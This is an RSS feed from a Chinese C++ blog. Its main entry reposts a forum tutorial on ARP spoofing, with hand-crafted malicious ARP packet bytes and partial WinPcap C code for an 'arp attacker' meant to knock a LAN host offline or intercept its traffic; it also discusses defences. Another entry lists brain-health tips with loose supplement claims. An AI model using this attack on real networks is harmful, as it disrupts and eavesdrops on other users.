﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>C++博客-life is game </title><link>http://www.cppblog.com/basecolor/</link><description>(本色)</description><language>zh-cn</language><lastBuildDate>Tue, 14 Apr 2026 23:07:12 GMT</lastBuildDate><pubDate>Tue, 14 Apr 2026 23:07:12 GMT</pubDate><ttl>60</ttl><item><title>soap protocol</title><link>http://www.cppblog.com/basecolor/archive/2007/11/17/36796.html</link><dc:creator>原色</dc:creator><author>原色</author><pubDate>Sat, 17 Nov 2007 07:55:00 GMT</pubDate><guid>http://www.cppblog.com/basecolor/archive/2007/11/17/36796.html</guid><wfw:comment>http://www.cppblog.com/basecolor/comments/36796.html</wfw:comment><comments>http://www.cppblog.com/basecolor/archive/2007/11/17/36796.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.cppblog.com/basecolor/comments/commentRss/36796.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/basecolor/services/trackbacks/36796.html</trackback:ping><description><![CDATA[1.使用gsoap打包解包soap协议<br>2.去掉gsoap通信部分。<br>3.测试gsoap与项目通信的融合。<br>4.一个请求对应一个响应测试通过。
<img src ="http://www.cppblog.com/basecolor/aggbug/36796.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/basecolor/" target="_blank">原色</a> 2007-11-17 15:55 <a href="http://www.cppblog.com/basecolor/archive/2007/11/17/36796.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>C++内存管理（转载）</title><link>http://www.cppblog.com/basecolor/archive/2007/04/04/21258.html</link><dc:creator>原色</dc:creator><author>原色</author><pubDate>Wed, 04 Apr 2007 11:32:00 GMT</pubDate><guid>http://www.cppblog.com/basecolor/archive/2007/04/04/21258.html</guid><wfw:comment>http://www.cppblog.com/basecolor/comments/21258.html</wfw:comment><comments>http://www.cppblog.com/basecolor/archive/2007/04/04/21258.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/basecolor/comments/commentRss/21258.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/basecolor/services/trackbacks/21258.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: C++内存管理[导语]内存管理是C++最令人切齿痛恨的问题，也是C++最有争议的问题，C++高手从中获得了更好的性能，更大的自由，C++菜鸟的收获则是一遍一遍的检查代码和对C++的痛恨，但内存管理在C++中无处不在，内存泄漏几乎在每个C++程序中都会发生，因此要想成为C++高手，内存管理一关是必须要过的，除非放弃C++，转到Java或者.NET，他们的内存管理基本是自动的，当然你也放弃了自由和...&nbsp;&nbsp;<a href='http://www.cppblog.com/basecolor/archive/2007/04/04/21258.html'>阅读全文</a><img src ="http://www.cppblog.com/basecolor/aggbug/21258.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/basecolor/" target="_blank">原色</a> 2007-04-04 19:32 <a href="http://www.cppblog.com/basecolor/archive/2007/04/04/21258.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>健脑2</title><link>http://www.cppblog.com/basecolor/archive/2007/01/02/17150.html</link><dc:creator>原色</dc:creator><author>原色</author><pubDate>Tue, 02 Jan 2007 10:22:00 GMT</pubDate><guid>http://www.cppblog.com/basecolor/archive/2007/01/02/17150.html</guid><wfw:comment>http://www.cppblog.com/basecolor/comments/17150.html</wfw:comment><comments>http://www.cppblog.com/basecolor/archive/2007/01/02/17150.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/basecolor/comments/commentRss/17150.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/basecolor/services/trackbacks/17150.html</trackback:ping><description><![CDATA[
		<ol>
				<li>深呼吸：让更多的空气（氧气）进入血液和大脑。同时深呼吸也可以放松自己。 
</li>
				<li>冥思：简单的冥思方法就是闭上双眼，将思绪专注在呼吸上，收缩肌肉然后再放松身体。走神后，再将注意力集中到呼吸上，反复几次。更多冥想的方法参见：<a href="http://www.themeditationsite.com/"><font color="#336699"><u>http://www.TheMeditationSite.com</u></font></a></li>
				<li>坐直 
</li>
				<li>Phosphotidyl Serine (PS) ：磷脂酰丝氨酸，增强记忆力。（译者注：<a href="http://www.fi365.cn/b2b/showproduct.aspx?ProId=12808" target="_blank"><font color="#336699"><u>磷脂酰丝氨酸</u></font></a>） 
</li>
				<li>Vinpocetine：长春西汀，从长春（据说生长在中南欧的一种藤本植物）花中提取的物质，可以增加脑的供血量。（译者注：<a href="http://www.39kf.com/cooperate/qk/practicalmedication/0421/04/2005-08-03-86877.shtml" target="_blank"><font color="#336699"><u>长春西汀</u></font></a>） 
</li>
				<li>Gingko Biloba：银杏，银杏树叶中的萃取物质可以增加脑的供血量。 
</li>
				<li>Saint John's Wort：圣约翰草，治疗忧郁症，改善神经功能。（译者注：中文名称，金丝桃，<a href="http://health.zaobao.com/pages2/chinese090801.html" target="_blank"><font color="#336699"><u>贯叶连翘</u></font></a>） 
</li>
				<li>良好的思维习惯：努力去培养好的思维习惯，你可能需要一连数周都要在培养这种思维技巧上下一番功夫。比如说看到某种东东，就会猜想构成或者重新进行设计。 
</li>
				<li>使用被占用的时间（Use dead time）：这里的时间表示的是被浪费的时间或者是被使用的时间：比如说开车的时候，等待的时间，甚至是在花园中劳作的时间，这个时候可以听听电子书之类的。 （译者注：“一心二用”，或者是“挤海绵里的水”，利用零碎的时间，在地铁上，等待中学习，当然要注意行车安全，呵呵） 
</li>
				<li>学习语言：比如说外语，方言等等。可以阻止脑的衰老，同时也可以接收新概念，训练大脑。 
</li>
				<li>Rosemary：迷迭香。开窍醒脑，有待进一步证实。 
</li>
				<li>专注力练习（Mindfulness exercises）：如果心乱如麻，还不如理理思绪，将要做的事情罗列下来（记在笔记本上），一件件的去做，暂时不要做的就不要总是在想它。【 原文：Concentration and clear thinking are more or less automatic once you remove distractions. Learn to stop and watch your busy mind. As you notice things that are subtly bothering you, deal with them. This might mean making a phone call you need to make, or putting things on a list so you can forget them for now. With practice, this becomes easier, and your thinking becomes more powerful.】 
</li>
				<li>写作：凝神静坐，写下一些字，将来回忆起来也容易的。写作可以锻炼创造力和分析能力。比如：日记、诗歌、短文等等。 
</li>
				<li>听听莫扎特：（译者注：音乐疗法，呵呵。不过也是很多的传闻了，莫扎特的音乐可以开发儿童的智力。我想不单单是莫扎特了，音乐就是大脑的毒品，听听自己喜欢的音乐就好。） 
</li>
				<li>培养直觉：直觉是大脑的重要意识之一，爱因斯坦或者诸如此类的伟人们的直觉都是一级棒的。（不过可别走火入魔，呵呵。） 
</li>
				<li>少吃会引发过敏的食物( Avoid foods that cause subtle allergies)：比如说小麦，玉米，花生，乳制品等，你需要体会一下，是不是这些食品并不适合你的体质，引起消化问题和“脑雾”。【原文：These can include wheat, corn, peanuts and dairy products. Watch yourself to see if you have a problem with any of these. They cause digestive problems and brain fog in some people.】（译者：真有点玄，那还吃什么呢，要多多注意就是了，西方人花生过敏的很多啊，呵呵。） 
</li>
				<li>优质睡眠：不在睡的时间有多长，更重要是睡的好不好。午后小憩也很有帮助。 
</li>
				<li>咖啡因：因人而异，刺激神经对人有帮助，但过量的咖啡因还有可能导致错误的决策。（摄入过量也睡不着啊，呵呵） 
</li>
				<li>避免吃糖：任何碳水化合物都能够造成“脑雾 brain fog”，有时也称之为“糖忧郁 sugar blues ”，症状就是思维不清晰。原因是糖的摄入，会有更多的胰岛素参与到血液中来分解糖分。所以重要的脑力工作之前避免吃糖，面食，薯条之类的。【原文： Avoid sugar. Any simple carbohydrates can give you "brain fog." Sometimes called the "sugar blues" as well, this sluggish feeling makes it hard to think clearly. It results from the insulin rushing into the bloodstream to counteract the sugar rush. Avoid pasta, sugars, white bread and potato chips before any important mental tasks.】 
</li>
				<li>声音催眠：Hypnosis audios。<a href="http://www.increasebrainpower.com/self-hypnosis-tapes.html"><font color="#336699"><u>http://www.IncreaseBrainPower.com/self-hypnosis-tapes.html</u></font></a></li>
				<li>快速阅读：Speed reading。 
</li>
				<li>（体育）锻炼： 
</li>
				<li>虚拟朋友：Imaginary friends。在自己的脑中设置几个虚拟角色，并且尝试在彼此之间进行交谈，特别是设想一下和你交谈的那个“博学的朋友”能够给你很多建议。 
</li>
				<li>培养创造力 
</li>
				<li>提高学习效率：比如说，记笔记、学习后给自己提问、适当的“课间放松”。 
</li>
				<li>保持清晰思路的方法：整洁的办公室、家庭环境。思考之前可以长叹一下、伸个懒腰、深呼吸。间歇时间设置一些头脑风暴环节。 
</li>
				<li>Brain wave entrainment. The newest brain wave entrainment products are powerful tools for altering your brain function. Some will almost immediately relax you, while others will put your brain waves in a pattern that is most conducive to analytical thinking. For more information on these, you can visit here: <a href="http://www.increasebrainpower.com/brain-wave-entrainment.html"><font color="#336699"><u>http://www.IncreaseBrainPower.com/brain-wave-entrainment.html</u></font></a></li>
				<li>肌肉素：Creatine。【原文： This is a compound found in meat, used by athletes to help build muscle. Now the evidence is here to show that it helps your brain as well. Proceedings B , a journal published by the Royal Society reports that the research showed improvement in working memory and general intelligence resulting from creatine supplementation. The dose used in the study was 5 grams per day. This is about the level used to boost sports performance, and is as much as you'd normally get in four pounds of meat, according to lead researcher Dr. Caroline Rae.】 
</li>
				<li>交谈：试着向朋友解释你没有理解的东西，这个过程本身能够提高你的理解能力。 
</li>
				<li>做爱做的事：难度低，但是又可以促进你的大脑，看电视不算，比如说玩拼字游戏，做个鸟笼什么的，主要是希望你能全身心投入这个愉悦当中。 
</li>
				<li>增强自信心：Adjust your beliefs。你要相信你越来越聪明，你真的就会越来越聪明，呵呵。不断的给自己以鼓励，体味成功的喜悦。将好的想法记录下来，这些都是你变得越来越聪明的证据。 
</li>
				<li>脑力锻炼：Brain exercises。做做数学题，想想常见的东东还有哪些新的功用。经常使用大脑不但可以促生新的神经元细胞，还可以阻止年龄增长带来的老化问题。 
</li>
				<li>研究新事物：Learn new things. 
</li>
				<li>散步：冲击力不是很大，但是可以有助于清晰思维。散步的时候带上个可以做记录的工具就更有帮助了。 
</li>
				<li>模仿他人，树立榜样：Model others。有创造力的、智慧的、有效率的人都是我们学习的榜样，想之所想，做之所做，吸收他们的宝贵经验。 
</li>
				<li>吃鱼： 
</li>
				<li>避免不必要的争吵：争论是有必要的，但是要适可而止，如果双方都自以为是，这样的争吵是没有价值的。 
</li>
				<li>大笑： 
</li>
				<li>玩（游戏）：包括脑力游戏，动作游戏（类似小的时候的丢手绢那种吧，眼手并用的那种。划拳？呵呵，作者没有提PC game） 
</li>
				<li>猜谜：拼字谜，推理，谜语等等，不受场地限制，容易进行。 
</li>
				<li>唱歌： 
</li>
				<li>干果：Nuts。含有矿物质和氨基酸。比如杏仁、核桃。 
</li>
				<li>橄榄油：Olive oil。含不饱和脂肪酸，增强记忆力。canola oil是其廉价替代品。 
</li>
				<li>补充维生素：Vitamin supplements。 
</li>
				<li>纤维素：Fiber。 
</li>
				<li>自我认识：Self awareness。只有认清自己才能避免固执己见。 
</li>
				<li>自我激励：Motivate yourself。 
</li>
				<li>避免过重的压力：Avoid too much stress。长期压力过大会造成脑损伤。 
</li>
				<li>接受教育：Get educated。（要当作长期工作来做，活到老学到老，呵呵。） 
</li>
				<li>避免过度肥胖：Avoid too much fat。实验室研究，脂肪过多，学习速度就会降低。所以吃橄榄油，或者其他不饱和脂肪酸的油吧。 
</li>
				<li>少吃：吃的太多，消化系统需要的血液量就会更多，脑的供血量就会降低。 
</li>
				<li>少吃可疑食物：Avoid suspect foods：人造色素、人造甜味剂、腌制品、白糖、高糖饮料、白面包、面粉制品等。【原文：There is evidence that the following foods can be bad for your brain: Artificial food colorings, artificial sweeteners, colas, corn syrup, frostings, high-sugar drinks, hydrogenated fats, sugars, white bread, and any white-flour products.】 
</li>
				<li>吃早餐 
</li>
				<li>避免糖尿病： 
</li>
				<li>吃抗氧化食物：Eat foods high in antioxidants。可以保护细胞，特别是脑细胞：葡萄干、蓝莓、黑莓、大蒜、甘蓝、浆果、草莓、菠菜等等。 
</li>
				<li>喝（红）酒：红酒中的抗氧化物质比较丰富。 
</li>
				<li>适度饮酒：Use alcohol in moderation.。适度饮酒比不饮酒或者过度饮酒的人都要聪明。【原文：In a study at the University of Indiana School of Medicine, elderly light drinkers (fewer than 4 drinks per week) scored higher on tests of thinking abilities than non-drinkers. Those who drank 10 or more drinks per week scored lower. It is known that alcohol can kill brain cells, so moderation seems to be the key.】 
</li>
				<li>摄入叶酸：Folic acid。可以缓解压力，增强记忆力。 
</li>
				<li>健脑食品：Potential brain foods。比如：鳄梨、香蕉、牛肉、酵母制品、花椰菜、糙米、抱子甘蓝、哈密瓜、干酪、鸡肉、羽衣甘蓝、鸡蛋、亚麻籽油、豆类、麦片、桔橙、花生酱、豌豆、土豆、莴苣、大马哈鱼、大豆、菠菜、金枪鱼、火鸡、酸奶等 
</li>
				<li>维生素E：抗氧化剂，降低血管硬度。 
</li>
				<li>维生素C： 
</li>
				<li>硒元素：可以稳定情绪，巴西坚果和大蒜中的含量较高。 
</li>
				<li>硫辛酸：Alpha-lipoic acid：增强记忆力，保护神经元细胞。（参见：<a href="https://www.redherb.com/info.php?id=94" target="_blank"><font color="#336699"><u>硫辛酸</u></font></a>） 
</li>
				<li>肌糖：Inositol。缓解压力，有助思维。精力补给。 
</li>
				<li>石杉碱甲：Huperzine A。石松中的萃取物，可以增强记忆力。（参见：<a href="http://www.cheminfo.gov.cn/ASP/bbsnew/bbsdisp.asp?id=7810&amp;pgid=13&amp;ft=2" target="_blank"><font color="#336699"><u>石杉碱甲</u></font></a>） 
</li>
				<li>提问： 
</li>
				<li>Sniff basil：一种香草。 
</li>
				<li>温度：Temperature。不同的人对不同的温度比较敏感，尽管温度低些人感觉不舒服，但是有助于思考。所以选择（营造）一下合适你的温度。 
</li>
				<li>学会使用工具和方法来辅助自己。【原文：Use systems. From the time I was ten years old, 12 x 49 was always (12 x 50) - 12. It's easier to figure in your head this way (588, by the way). I didn't get any credit for my personal algorithms then, but they are selling these shortcuts on late-night TV now, because they work. You can find your own easier ways to do mental math or other mental tasks, or read a good book on them.】 
</li>
				<li>制定脑力（训练）计划：专家说建立新的习惯大概要用上20-30天的时间来反复加强，这就意味着你需要制定一个脑力训练计划，告诉自己怎么去做，又怎么进食。</li>
		</ol>
<img src ="http://www.cppblog.com/basecolor/aggbug/17150.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/basecolor/" target="_blank">原色</a> 2007-01-02 18:22 <a href="http://www.cppblog.com/basecolor/archive/2007/01/02/17150.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Arp欺骗</title><link>http://www.cppblog.com/basecolor/archive/2006/12/31/17100.html</link><dc:creator>原色</dc:creator><author>原色</author><pubDate>Sun, 31 Dec 2006 10:23:00 GMT</pubDate><guid>http://www.cppblog.com/basecolor/archive/2006/12/31/17100.html</guid><wfw:comment>http://www.cppblog.com/basecolor/comments/17100.html</wfw:comment><comments>http://www.cppblog.com/basecolor/archive/2006/12/31/17100.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/basecolor/comments/commentRss/17100.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/basecolor/services/trackbacks/17100.html</trackback:ping><description><![CDATA[
		<font face="宋体">
				<font color="#333333">标 题:</font>
				<font color="#000000"> arp欺骗DIY</font>
		</font>
		<font color="#666666">
				<br />
				<font face="宋体">
						<font color="#333333">作 者:</font>
						<font color="#000000">enolaZ</font>
						<br />
						<font color="#333333">时 间:</font> 2006-10-20,13:25<br /><font color="#333333">链 接:</font> http://bbs.pediy.com/showthread.php?threadid=33573<br /></font>
		</font>
		<br />
		<font face="宋体">前段时间我们学校的的网络总是出现掉线的问题，后来说是ARP欺骗，要我们用ANTIARPSNIFFER。小弟不才，<br /><br />也想搞清楚这个ARP欺骗到底是个什么东西。于是在网上查了点资料，看了点文档。也算是DIY了一个出来，而<br /><br />且可以不被ANTIARPSNIFFER发现的让对方主机在网络中死掉。于是把这个小东西贴出来让大家一起把玩一下。<br />   在下菜鸟一只，还请高手指教<br />参考资料：《TCP/IP详解II：实现》，《WINPCAP 3.0 DOC》,《交换网络中的嗅探和ARP欺骗》（一位叫RefDom<br /><br />的大哥很久前写的帖子）<br /><br />   一般在局域网中的各主机一般都是连接到同一个交换机（或是HUB），再由交换机连接路由器，路由器再与<br /><br />相对于该局域网的外部网络相连。在我们的主机和交换机的内存中，都保留着一张ARP的缓存表（你可以在cmd<br /><br />下用arp -a来查看），它记录着IP地址和MAC地址的对应关系。当外部网络的一个包传进来，交换机通过这个包<br /><br />的IP地址，在他的ARP缓存表中查找其对应的MAC地址（因为交换机是工作在链路层的，所以他只会根据MAC地址<br /><br />来判断是哪个主机），当找到时，他就把这个包传给拥有这个MAC地址的主机。当主机向外部网络通信的时候，<br /><br />主机查询自己的ARP缓存表里网关（在这里就是交换机）（这个网关是用IP地址确定的）的MAC地址，然后将包<br /><br />传给交换机，交换机一看是它的MAC地址，就把这个包往上传给路由器。<br />   我们可以把IP比做姓名，把MAC地址比做联系方式<br />   当主机连接上网络时，他会发送一个广播（ARP REQUEST）说：大家好，我是IP xxx,这是我的MAC地址aaa，<br /><br />大家以后用他联系，叫IP YYY的网关大哥的MAC地址是多少啊 ，小弟以后找还要拜托大哥了，记个联系方式先~<br />   然后网关IP YYY告诉IP XXX说（ARP REPLY）：我就是网关IP XXX，我已经记下了你IP和你的MAC地址，我的<br /><br />MAC地址是ccc，以后有事联系，别客气~<br /><br />   现在，假如出现了一些不明原因的错误，主机A中的arp缓存表中网关IP YYY对应的MAC地址不是网关的，而<br /><br />是另一台主机B的（BBB），那么当主机A发送了一个包时，他查询自己的ARP缓存表，把主机B的MAC地址填在了<br /><br />网关的地方，然后把包发了出去，交换机一看这个MAC地址，心想这不是给我的小弟B的吗，于是把这个包发给<br /><br />了内网中的B，而主机A却不知道这个包已经迷失在了网络中。<br />  再假设另一个错误，现在主机中的arp缓存表没错，而交换机的缓存错了，主机A的IP对应的MAC地址上填的是<br /><br />主机B的！，那么当外部网络的一个发给主机A的包到达交换机的时候，交换机查自己的ARP缓存表，一看这个IP<br /><br />（A的）对应了自己内网中一个主机的MAC地址 （B的），于是就把这个包传给了拥有这个MAC地址的B，而不是A<br /><br />！<br />   另外还有一点很重要的是，ARP协议中，无论主机A有没有REQUEST或是已经收到了REPLY，当再有REPLY来的<br /><br />时候，它都会记下这个REPLY中的信息，并更新自己的ARP缓存。同样交换机，也只要是有主机发送ARP REQUEST<br /><br />，他就会记下这个信息，并更新自己的ARP缓存，而不会管这个请求是对是错<br /><br />   原谅我说了这么多晦涩的话，但这决不是废话，因为所谓的arp欺骗就是将上面所说的两个错误人为的造成<br /><br />。<br />  第一种欺骗方法：欺骗主机A说，我是网关IP YYY，我的MAC地址改成BBB了，于是主机A就出现了我们刚说的<br /><br />第一种情况的错误。<br />  第二种欺骗方法：欺骗交换机说，我是主机A IP XXX，我的MAC地址是BBB，于是交换机出现了我们说的第二<br /><br />种情况的错误。<br /><br />  既然要骗人家，就要让别人相信你说的是真的，首先我们要符合ARP包的格式，另外我们要让该真的地方真，<br /><br />这样别人才会相信你说的假话。<br />  先来看下ARP包是个什么样的（TCP/IP详解II图21-7有详细说明，大家可以查查看）<br /> typedef struct ethhdr               //以太网头部，长度14<br />{<br />  unsigned char dst[6];       //目的的MAC地址<br />  unsigned char src[6];       //源的MAC地址<br />  unsigned short type;        //帧类型<br />}ETHHDR,*PETHDHR;<br /><br />typedef struct eth_arphdr           //以太网arp字段长度28<br />{<br />  unsigned short arp_hrd;     //硬件类型<br />  unsigned short arp_pro;     //协议类型<br />  unsigned char  arp_hln;     //硬件地址长度（6）<br />  unsigned char  arp_pln;     //协议地址长度（4）<br />        unsigned short arp_op;      //回应还是请求<br /> <br />  unsigned char arp_sha[6];   //发送者MAC地址<br />  unsigned long arp_spa;      //发送者IP<br />  unsigned char arp_tha[6];   //接收者MAC地址<br />  unsigned long arp_tpa;      //接收者IP<br />}ETH_ARPHDR,*PETH_ARPHDR;<br /><br />typedef struct arp                  //整个ARP包的结构<br />{<br />    ETHHDR ethhdr;<br />    ETH_ARPHDR eth_arp;<br />}ARP,*PARP;  <br /><br /><br />  现在我们再来看下arp request 和arp reply到底是个什么样子。<br />  我打开了winpcap devlopment pack中的一个例子程序TestApp,他带有很简单的嗅探功能，然后我用<br />arp -d 10.10.63.254(我的网关IP地址），清除了我的ARP缓存表中网关的记录，过一下，我再用arp -a查看自<br /><br />己的缓存表，网关的IP，MAC又写上来了，这说明一次REQUEST和REPLY已经完成。于是，我在TestApp的输出中<br /><br />找到了他们的包的记录：<br />我的IP地址是10.10.63.37(即0a 0a 3f 25),MAC地址是00 20 ED 89 53 B9<br />我的网关的IP地址是10.10.63.254(即0a 0a 3f fe),MAC地址是00 11 5d ac e8 00<br /><br />request的：长度42<br />    FF FF FF FF FF FF 00 20 ED 89 53 B9 08 06 00 01 08 00 06 04 00 01 00 20 ED 89 53 B9 0A 0A 3F <br /><br />25 00 00 00 00 00 00 0A 0A 3F FE<br />reply的：  长度60<br />    00 20 ED 89 53 B9 00 11 5D AC E8 00 08 06 00 01 08 00 06 04 00 02 00 11 5D AC E8 00 0A 0A 3F <br /><br />FE 00 20 ED 89 53 B9 0A 0A 3F 25 00 00 00 00 00....(后面都是用0填充）<br /> <br />好了根据这两个包，我们就能构造恶意的REQUEST和REPLY，假如我们要让一台内网中的主机C消失，假设他的IP<br /><br />是10.10.63.123,MAC地址是11 22 33 44 55 66那么我们可以这样来构造包（我们使用一个伪造的MAC地址，比<br /><br />如是AA BB CC DD EE FF<br />恶意的request:长度42<br />    FF FF FF FF FF FF AA BB CC DD EE FF 08 06 00 01 08 00 06 04 00 01 AA BB CC DD EE FF 0A 0A 3F <br /><br />7B 00 00 00 00 00 00 0A 0A 3F FE<br />当交换机接受了这个请求并更新了自己的ARP缓存后，任何发给10.10.63.123的包都会转发到MAC地址是<br />AA BB CC DD EE FF的主机（假如这个主机才内网中存在的话）<br />恶意的reply :长度60<br />    11 22 33 44 55 66 AA BB CC DD EE FF 08 06 00 01 08 00 06 04 00 02 AA BB CC DD EE FF 0A<br />0A 3F FE 11 22 33 44 55 66 0A 0A EF 7B 00 00 00 00 00.....（后面用0填充）<br />当主机接受到了这个包，并更新了自己的ARP缓存后，他所发的任何包都会转发给拥有这个MAC地址的主机（同<br /><br />上，这个主机必须存在）。<br />   现在假如交换机和主机都被欺骗了，于是就出现了这样的一个情况：主机A和其他主机或是外部网络的一切<br /><br />通信就都会传给这个伪造MAC的主机，而如果这个主机再将这些包转发给原来的接收方的话，他就成了THE <br /><br />MIDDLE MAN，而这种方式也正是交换机网络中的嗅探原理了。有兴趣的话，大家也可以写个试试~<br /><br />   现在回到我们的话题上来，当我们自己的网络中出现了类似的欺骗的时候，我们应该怎么防范？很多人估计<br /><br />都会想到用专门的软件，比如ANTIARPSNIFFER3.0，这个软件实际是将网关的IP地址和MAC地址的对应关系绑定<br /><br />，当接受到一个ARP REPLY时他会查看这个包中发送方的IP和MAC地址，如果IP是网关的，而MAC地址不是，那他<br /><br />就认为这是个ARP欺骗，于是记录这个假的MAC地址（当然我们可以伪造，如果你想架祸人的话，也可以填别人<br /><br />的...,但如果你是想嗅探（即是你自己的MAC地址），那么你可能会在某天被一群人抓出去暴打一顿...，为什<br /><br />么我们生活的世界这么暴力，不能和平解决呢？额...我请大哥们吃顿饭怎么样？？）<br />   ANTIARPSNIFFER可以有效的阻止发送给主机的欺骗REPLY，但他无法阻止发送给交换机的欺骗REQUEST，因此<br /><br />也就无法捕获恶意攻击者的MAC地址，所以我个人认为站在攻击的角度，第二种欺骗方式要比第一种来的更加有<br /><br />效和不易被发现，毕竟谁的会关注自身的安全，却往往忽视社会整体的安全隐患....要想解决这个问题，就必<br /><br />须把交换机的ARP缓存设为静态（即将IP和MAC的对应关系锁死）（使用ARP -S）来解决。然而，对于主机使用<br /><br />DHCP动态获取IP的网络（比如我们学校的网络），由于IP与MAC地址无法在长时间内保持一致，因此交换机的<br /><br />ARP缓存表必须是可更新的（即动态），于是对于这种网络，发送欺骗REQUEST给交换机的攻击方式将是无法解<br /><br />决的....<br />   也正因为此，我所编写的一个测试程序是基于第二种攻击方式（即发送加的ARP REQUEST请求给交换机）。<br /><br />由于是测试程序，我把一切可能出错的部分都做了最简化以方便调试，程序相当简陋，不过仍然很有效。<br />另外要说明的是，我安装了WINPCAP 3.0(一个OPEN SOURCE的网卡驱动项目）和他的开发包。并参考了WINPCAP<br />DOC中的程序和RefDom大哥在帖子里的程序，当然还有伟大的W.Richard.Stevens的《TCP/IP详解II实现》第21<br /><br />章<br /><br />/////////////////////////////////////////////////////////////////////////////<br />//    arp attacker<br />//    author:enolaZ<br />//    e-mail:enolaz@126.com<br />/////////////////////////////////////////////////////////////////////////////<br />#include&lt;stdio.h&gt;<br />#include"packet32.h"<br />#include&lt;winsock2.h&gt;<br />#pragma comment(lib,"ws2_32")<br />#pragma comment(lib,"packet")<br /><br />#define EPT_ARP 0x0806                //定义了一些在构造包的时候要用到的常量<br />#define EPT_IP 0x0800<br />#define ARP_HARDWARE 0X0001<br />#define ARP_REPLY 0x0002<br />#define ARP_REQUEST 0x0001<br /><br />#pragma pack(push,1)                //在定义结构的时候一顶要用到pack(push,1)和下面的pack(pop)<br />                                    //否则你构造的结构的长度会有问题<br /><br />typedef struct ethhdr               //以太网头部，长度14<br />{<br />  unsigned char dst[6];       //目的的MAC地址<br />  unsigned char src[6];       //源的MAC地址<br />  unsigned short type;        //帧类型<br />}ETHHDR,*PETHDHR;<br /><br />typedef struct eth_arphdr           //以太网arp字段长度28<br />{<br />  unsigned short arp_hrd;     //硬件类型<br />  unsigned short arp_pro;     //协议类型<br />  unsigned char  arp_hln;     //硬件地址长度（6）<br />  unsigned char  arp_pln;     //协议地址长度（4）<br />        unsigned short arp_op;      //回应还是请求<br /> <br />  unsigned char arp_sha[6];   //发送者MAC地址<br />  unsigned long arp_spa;      //发送者IP<br />  unsigned char arp_tha[6];   //接收者MAC地址<br />  unsigned long arp_tpa;      //接收者IP<br />}ETH_ARPHDR,*PETH_ARPHDR;<br /><br />typedef struct arp                  //整个ARP包的结构<br />{<br />  ETHHDR ethhdr;<br />    ETH_ARPHDR eth_arp;<br />}ARP,*PARP;<br /><br />#pragma pack(pop)<br /><br />#define Max_Num_Adapter 10<br /><br />char        AdapterList[Max_Num_Adapter][1024];  //定义的网络适配器列表<br /><br />int main (int argc,char* argv[])<br />{<br />  LPADAPTER  lpAdapter = 0;               <br />  LPPACKET   lpPacket;<br />  int        i;<br />  DWORD      dwErrorCode;<br />  WCHAR     AdapterName[8192]; <br />  WCHAR     *temp,*temp1;                 //将AdapterNames的内容转存到AdapterList时用<br />  int     AdapterNum=0;<br />  ULONG     AdapterLength;<br />  ARP arpPacket;                           //定义的包结构实例<br />  char szPktBuf[256000];                   //用于存放包的内容<br /><br /><br />        printf("%d\n",sizeof(ETHHDR));           //这3行是我在测试结构长度时用的，如果没有使用之<br />  printf("%d\n",sizeof(ETH_ARPHDR));       //前说的pack(push,1),pack(pop）长度就成了14，32<br />  printf("%d\n",sizeof(ARP));              //48，与我们的arp包的格式不符<br />  i=0;  <br />  AdapterLength = sizeof(AdapterName);<br />  if(PacketGetAdapterNames((char *)AdapterName,&amp;AdapterLength)==FALSE)//获取所有网络适配器<br />  {<br />    printf("Unable to retrieve the list of the adapters!\n");<br />    return -1;<br />  }<br />  temp=AdapterName;<br />  temp1=AdapterName;<br />  while ((*temp!='\0')||(*(temp-1)!='\0'))          //将AdapterNames的内容转存到AdapterList<br />  {<br />    if (*temp=='\0') <br />    {<br />      memcpy(AdapterList[i],temp1,(temp-temp1)*2);<br />      temp1=temp+1;<br />      i++;<br />    }<br />    temp++;<br />  }<br />    <br />  AdapterNum=i;<br />  for (i=0;i&lt;AdapterNum;i++)<br />    wprintf(L"\n%d- %s\n",i+1,AdapterList[i]); //输出获得的所有网络适配器<br />  printf("\n");  <br />  <br />  lpAdapter =   PacketOpenAdapter(AdapterList[0]);   //得到对应网络适配器的_Adapter结构,我  <br /><br />                                                           //就一个当然是0了  <br />  if (!lpAdapter || (lpAdapter-&gt;hFile == INVALID_HANDLE_VALUE))<br />  {<br />    dwErrorCode=GetLastError();<br />    printf("Unable to open the adapter, Error Code : %lx\n",dwErrorCode); <br />    return -1;<br />  }  <br /><br />        lpPacket=PacketAllocatePacket();                       //得到一个包的_Packet结构<br />  if(lpPacket==NULL)<br />  {<br />    printf("alloc lppacket failed");<br />    return -1;<br />  }<br /><br />        ZeroMemory(szPktBuf,sizeof(szPktBuf));                //将包的缓存区清空<br /><br />  arpPacket.ethhdr.dst[0]=0xff;                     //开始填充包结构arpPacket<br />        arpPacket.ethhdr.dst[1]=0xff;<br />  arpPacket.ethhdr.dst[2]=0xff;<br />  arpPacket.ethhdr.dst[3]=0xff;<br />  arpPacket.ethhdr.dst[4]=0xff;<br />  arpPacket.ethhdr.dst[5]=0xff;<br /><br />  arpPacket.ethhdr.src[0]=0x00;                     //一个伪造的MAC地址<br />        arpPacket.ethhdr.src[1]=0x20;<br />  arpPacket.ethhdr.src[2]=0xce;<br />  arpPacket.ethhdr.src[3]=0xa8;<br />  arpPacket.ethhdr.src[4]=0x54;<br />  arpPacket.ethhdr.src[5]=0x33;<br /><br />  